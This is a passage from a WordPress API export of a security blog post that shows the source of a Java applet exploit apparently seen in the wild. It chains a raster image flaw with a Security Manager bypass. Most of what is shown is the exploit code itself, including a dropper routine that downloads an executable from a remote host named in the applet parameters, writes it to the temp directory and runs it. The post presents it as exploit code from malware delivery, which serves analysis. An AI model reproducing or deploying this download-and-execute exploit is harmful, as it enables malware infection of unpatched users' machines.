style=\"color: #0000DD; font-weight: bold\">2<\/span><span style=\"color: #333333\">]).<\/span><span style=\"color: #0000CC\">execute<\/span><span style=\"color: #333333\">();<\/span>\r\n\r\n          String t <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;java&quot;<\/span><span style=\"color: #333333\">;<\/span> String m <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;io&quot;<\/span><span style=\"color: #333333\">;<\/span> String p <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;tmpdir&quot;<\/span><span style=\"color: #333333\">;<\/span> String dot <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;.&quot;<\/span><span style=\"color: #333333\">;<\/span>\r\n          Random random <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Random<span style=\"color: #333333\">();<\/span>\r\n          String r1 <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;http:\/\/&quot;<\/span><span style=\"color: #333333\">;<\/span>\r\n          String cookie <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> String<span style=\"color: #333333\">();<\/span>\r\n          cookie <span style=\"color: #333333\">=<\/span> getParameter<span style=\"color: #333333\">(<\/span><span style=\"background-color: #fff0f0\">&quot;cookie&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n          String t1 <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;\/temp\/&quot;<\/span> <span style=\"color: #333333\">+<\/span> cookie <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;\/&quot;<\/span> <span style=\"color: #333333\">+<\/span> random<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">nextInt<\/span><span style=\"color: #333333\">()<\/span> <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;\/&quot;<\/span><span style=\"color: #333333\">;<\/span>\r\n          String e1 <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;?page=&quot;<\/span><span style=\"color: #333333\">;<\/span>\r\n          String param <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> String<span style=\"color: #333333\">();<\/span>\r\n          String cmp <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> String<span style=\"color: #333333\">();<\/span>\r\n          param <span style=\"color: #333333\">=<\/span> getParameter<span style=\"color: #333333\">(<\/span><span style=\"background-color: #fff0f0\">&quot;http&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n          cmp <span style=\"color: #333333\">=<\/span> getParameter<span style=\"color: #333333\">(<\/span><span style=\"background-color: #fff0f0\">&quot;ftp&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n\r\n          String l <span style=\"color: #333333\">=<\/span> System<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">getProperty<\/span><span style=\"color: #333333\">(<\/span>t <span style=\"color: #333333\">+<\/span> dot <span style=\"color: #333333\">+<\/span> m <span style=\"color: #333333\">+<\/span> dot <span style=\"color: #333333\">+<\/span> p<span style=\"color: #333333\">);<\/span>\r\n\r\n          String r <span style=\"color: #333333\">=<\/span> r1 <span style=\"color: #333333\">+<\/span> param <span style=\"color: #333333\">+<\/span> t1 <span style=\"color: #333333\">+<\/span> e1 <span style=\"color: #333333\">+<\/span> cmp<span style=\"color: #333333\">;<\/span>\r\n          d<span style=\"color: #333333\">(<\/span>r<span style=\"color: #333333\">,<\/span> l<span style=\"color: #333333\">);<\/span>\r\n          d<span style=\"color: #333333\">(<\/span>r <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;02&quot;<\/span><span style=\"color: #333333\">,<\/span> l<span style=\"color: #333333\">);<\/span>\r\n          d<span style=\"color: #333333\">(<\/span>r <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;03&quot;<\/span><span style=\"color: #333333\">,<\/span> l<span style=\"color: #333333\">);<\/span>\r\n          d<span style=\"color: #333333\">(<\/span>r <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;04&quot;<\/span><span style=\"color: #333333\">,<\/span> l<span style=\"color: #333333\">);<\/span>\r\n        <span style=\"color: #333333\">}<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">catch<\/span> <span style=\"color: #333333\">(<\/span>Exception ex<span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">{<\/span>\r\n          ex<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">printStackTrace<\/span><span style=\"color: #333333\">();<\/span>\r\n        <span style=\"color: #333333\">}<\/span>\r\n      <span style=\"color: #333333\">}<\/span>\r\n    <span style=\"color: #333333\">}<\/span> <span style=\"color: #008800; font-weight: bold\">catch<\/span> <span style=\"color: #333333\">(<\/span>Exception ex<span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">{<\/span> ex<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">printStackTrace<\/span><span style=\"color: #333333\">();<\/span> <span style=\"color: #333333\">}<\/span>\r\n\r\n  <span style=\"color: #333333\">}<\/span>\r\n\r\n  <span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #333399; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">d<\/span><span style=\"color: #333333\">(<\/span>String rPath<span style=\"color: #333333\">,<\/span> String lPath<span style=\"color: #333333\">)<\/span>\r\n  <span style=\"color: #333333\">{<\/span>\r\n    Random rand <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> Random<span style=\"color: #333333\">();<\/span>\r\n    lPath <span style=\"color: #333333\">=<\/span> lPath <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;\\\\h&quot;<\/span> <span style=\"color: #333333\">+<\/span> rand<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">nextInt<\/span><span style=\"color: #333333\">()<\/span> <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;.tmp.&quot;<\/span><span style=\"color: #333333\">;<\/span>\r\n    <span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n    <span style=\"color: #333333\">{<\/span>\r\n      String type <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> String<span style=\"color: #333333\">();<\/span>\r\n      type <span style=\"color: #333333\">=<\/span> getParameter<span style=\"color: #333333\">(<\/span><span style=\"background-color: #fff0f0\">&quot;type&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n      String fun <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> String<span style=\"color: #333333\">();<\/span>\r\n      fun <span style=\"color: #333333\">=<\/span> getParameter<span style=\"color: #333333\">(<\/span><span style=\"background-color: #fff0f0\">&quot;fun&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n      URL url <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> URL<span style=\"color: #333333\">(<\/span>rPath<span style=\"color: #333333\">);<\/span>\r\n      ReadableByteChannel rbc <span style=\"color: #333333\">=<\/span> Channels<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">newChannel<\/span><span style=\"color: #333333\">(<\/span>url<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">openStream<\/span><span style=\"color: #333333\">());<\/span>\r\n      String ext <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> String<span style=\"color: #333333\">();<\/span>\r\n\r\n      FileOutputStream fos <span style=\"color: #333333\">=<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> FileOutputStream<span style=\"color: #333333\">(<\/span>lPath <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;exe&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n      fos<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">getChannel<\/span><span style=\"color: #333333\">().<\/span><span style=\"color: #0000CC\">transferFrom<\/span><span style=\"color: #333333\">(<\/span>rbc<span style=\"color: #333333\">,<\/span> <span style=\"color: #0000DD; font-weight: bold\">0L<\/span><span style=\"color: #333333\">,<\/span> <span style=\"color: #0000DD; font-weight: bold\">16777216L<\/span><span style=\"color: #333333\">);<\/span>\r\n      fos<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">close<\/span><span style=\"color: #333333\">();<\/span>\r\n\r\n      Runtime<span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">getRuntime<\/span><span style=\"color: #333333\">().<\/span><span style=\"color: #0000CC\">exec<\/span><span style=\"color: #333333\">(<\/span>lPath <span style=\"color: #333333\">+<\/span> <span style=\"background-color: #fff0f0\">&quot;exe&quot;<\/span><span style=\"color: #333333\">);<\/span>\r\n    <span style=\"color: #333333\">}<\/span>\r\n    <span style=\"color: #008800; font-weight: bold\">catch<\/span> <span style=\"color: #333333\">(<\/span>Exception localException<span style=\"color: #333333\">)<\/span>\r\n    <span style=\"color: #333333\">{<\/span>\r\n    <span style=\"color: #333333\">}<\/span>\r\n  <span style=\"color: #333333\">}<\/span>\r\n\r\n  <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">main<\/span><span style=\"color: #333333\">(<\/span>String<span style=\"color: #333333\">[]<\/span> args<span style=\"color: #333333\">)<\/span>\r\n  <span style=\"color: #333333\">{<\/span>\r\n    <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">TestByteBI<\/span><span style=\"color: #333333\">().<\/span><span style=\"color: #0000CC\">go<\/span><span style=\"color: #333333\">();<\/span>\r\n  <span style=\"color: #333333\">}<\/span>\r\n  <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">MyBufferedImage<\/span> <span style=\"color: #008800; font-weight: bold\">extends<\/span> BufferedImage <span style=\"color: #333333\">{<\/span>\r\n    <span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> fakeW_<span style=\"color: #333333\">;<\/span>\r\n    <span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> fakeH_<span style=\"color: #333333\">;<\/span>\r\n\r\n    <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #0066BB; font-weight: bold\">MyBufferedImage<\/span><span style=\"color: #333333\">(<\/span><span style=\"color: #333399; font-weight: bold\">int<\/span> w<span style=\"color: #333333\">,<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> h<span style=\"color: #333333\">,<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> fakeW<span style=\"color: #333333\">,<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> fakeH<span style=\"color: #333333\">,<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> type<span style=\"color: #333333\">)<\/span> <span style=\"color: #333333\">{<\/span>\r\n      <span style=\"color: #008800; font-weight: bold\">super<\/span><span style=\"color: #333333\">(<\/span>h<span style=\"color: #333333\">,<\/span> type<span style=\"color: #333333\">);<\/span>\r\n\r\n      <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">fakeW_<\/span> <span style=\"color: #333333\">=<\/span> fakeW<span style=\"color: #333333\">;<\/span>\r\n      <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">fakeH_<\/span> <span style=\"color: #333333\">=<\/span> fakeH<span style=\"color: #333333\">;<\/span>\r\n    <span style=\"color: #333333\">}<\/span>\r\n\r\n    <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> <span style=\"color: #0066BB; font-weight: bold\">getWidth<\/span><span style=\"color: #333333\">()<\/span> <span style=\"color: #333333\">{<\/span>\r\n      <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">fakeW_<\/span><span style=\"color: #333333\">;<\/span>\r\n    <span style=\"color: #333333\">}<\/span>\r\n\r\n    <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> <span style=\"color: #0066BB; font-weight: bold\">getHeight<\/span><span style=\"color: #333333\">()<\/span> <span style=\"color: #333333\">{<\/span>\r\n      <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #008800; font-weight: bold\">this<\/span><span style=\"color: #333333\">.<\/span><span style=\"color: #0000CC\">fakeH_<\/span><span style=\"color: #333333\">;<\/span>\r\n    <span style=\"color: #333333\">}<\/span>\r\n  <span style=\"color: #333333\">}<\/span>\r\n<span style=\"color: #333333\">}<\/span>\r\n<\/pre>\n<\/div>\n<p>If you guessed the Security Manager exploit, you&#8217;re half right. Its two CVE&#8217;s in one! The &#8216;Raster Images&#8217; and &#8216;Security Manager&#8217; vulnerabilities are constantly being exploited today for 2 reasons: 1) no one updates their java, and 2) java sucks. Its been more than a year and there are still hundreds of millions of vulnerable machines to these 2 vulnerabilities. This means malware delivery is still fresh and strong. <\/p>\n<p>I feel 2014 is going to suck ass. Thanks Oracle \/ Sun \/ Java.<br \/>\nEdited due to censorship<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Howdy all! What exploit code do you think I run into on a daily basis? Java! Every day, its the same 2 exploits. I&#8217;ve stated this before, but today I&#8217;m going to post the code. Most of the time, malware distributors are smarter and obfuscate their exploit code as much as possible as to avoid [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[87],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/695"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=695"}],"version-history":[{"count":2,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/695\/revisions"}],"predecessor-version":[{"id":762,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/695\/revisions\/762"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}